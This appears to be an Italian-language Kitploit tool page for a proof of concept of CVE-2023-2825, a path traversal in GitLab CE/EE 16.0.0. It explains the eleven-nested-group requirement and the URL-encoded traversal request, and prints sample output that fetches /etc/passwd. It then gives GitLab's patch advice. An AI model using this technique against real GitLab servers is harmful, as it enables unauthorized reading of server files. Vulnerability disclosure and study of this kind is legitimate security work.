Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-2825 — GitLab CVE-2023-2825 PoC. Questo PoC sfrutta una vulnerabilità di path traversal per recuperare il file /etc/passwd da un sistema che esegue GitLab 16.0.0. | Kitploit
Strumenti/GitHubGitHub/occamsec/cve-2023-2825
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingRed Teaming
GitHuboccamsec/cve-2023-2825

CVE-2023-2825

GitLab CVE-2023-2825 PoC. Questo PoC sfrutta una vulnerabilità di path traversal per recuperare il file /etc/passwd da un sistema che esegue GitLab 16.0.0.

Vedi Repository
140313 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

CVE-2023-2825 - Lettura Arbitraria di File tramite Path Traversal in GitLab CE/EE 16.0.0

Il 23 maggio 2023 GitLab ha rilasciato la versione 16.0.1 che ha risolto una vulnerabilità critica, CVE-2023-2825, che affliggeva le versioni Community Edition (CE) ed Enterprise Edition (EE) 16.0.0. La vulnerabilità consente a utenti non autenticati di leggere file arbitrari tramite un bug di path traversal. È stata scoperta da pwnie su HackerOne tramite il programma di bug bounty.

Al momento della scrittura, non era disponibile alcun proof of concept pubblico.

Avviso di GitLab

Un utente malintenzionato non autenticato può utilizzare una vulnerabilità di path traversal per leggere file arbitrari sul server quando un allegato esiste in un progetto pubblico annidato in almeno cinque gruppi. Questo è un problema di gravità critica (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).

Sottogruppi

Questa vulnerabilità ha un requisito interessante: il progetto deve essere annidato in almeno 5 gruppi. Nei nostri test, abbiamo trovato una correlazione diretta tra il numero di gruppi e le directory che si possono attraversare. La regola sembra essere N + 1, il che significa che se si desidera attraversare 10 directory, è necessario avere 11 gruppi.

Su un'installazione standard di GitLab, gli allegati dei file vengono caricati in /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. Quindi, se si vuole raggiungere la root del filesystem, è necessario tornare indietro di 10 directory e quindi servono 11 gruppi.

Caricamento File e Path Traversal

Quando si carica un file come allegato su un issue di GitLab, viene inviata una richiesta a POST - /:repo/upload. Questa restituisce una risposta JSON con l'URL del file, consentendo di accedere al file.

L'URL del file è composto da /:repo/uploads/:id/:file dove :file è il nome del file stesso. Sostituendo :file con un percorso file qualsiasi, GitLab restituirà il file richiesto. GitLab non riesce a sanitizzare questo percorso file, portando a path traversal.

Per sfruttare con successo questa vulnerabilità, è necessario codificare in URL il / nel percorso file. GitLab lo interpreterà come un valore e lo decodificherà internamente. Non codificarlo porterà GitLab a interpretare il / nel percorso file come parte della rotta.

Nei nostri test, codificare solo il / è stato sufficiente per bypassare gli errori di percorso di Nginx.

Autenticazione

Gli utenti non autenticati possono sfruttare questa vulnerabilità solo su repository pubblici che soddisfano il requisito di annidamento dei gruppi. L'autenticazione è necessaria per accedere al repository stesso.

Proof of Concept

Abbiamo sviluppato il proof of concept in Python. Crea gli 11 gruppi, crea un repo pubblico, carica un file e poi sfrutta la vulnerabilità per ottenere il file /etc/passwd.

Output

root@kitploit:~
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

Azioni Raccomandate

GitLab raccomanda di aggiornare tutte le versioni interessate da questo problema il prima possibile.

Riferimenti

https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/

https://occamsec.com/exploit-for-cve-2023-2825/

Scarica lo strumento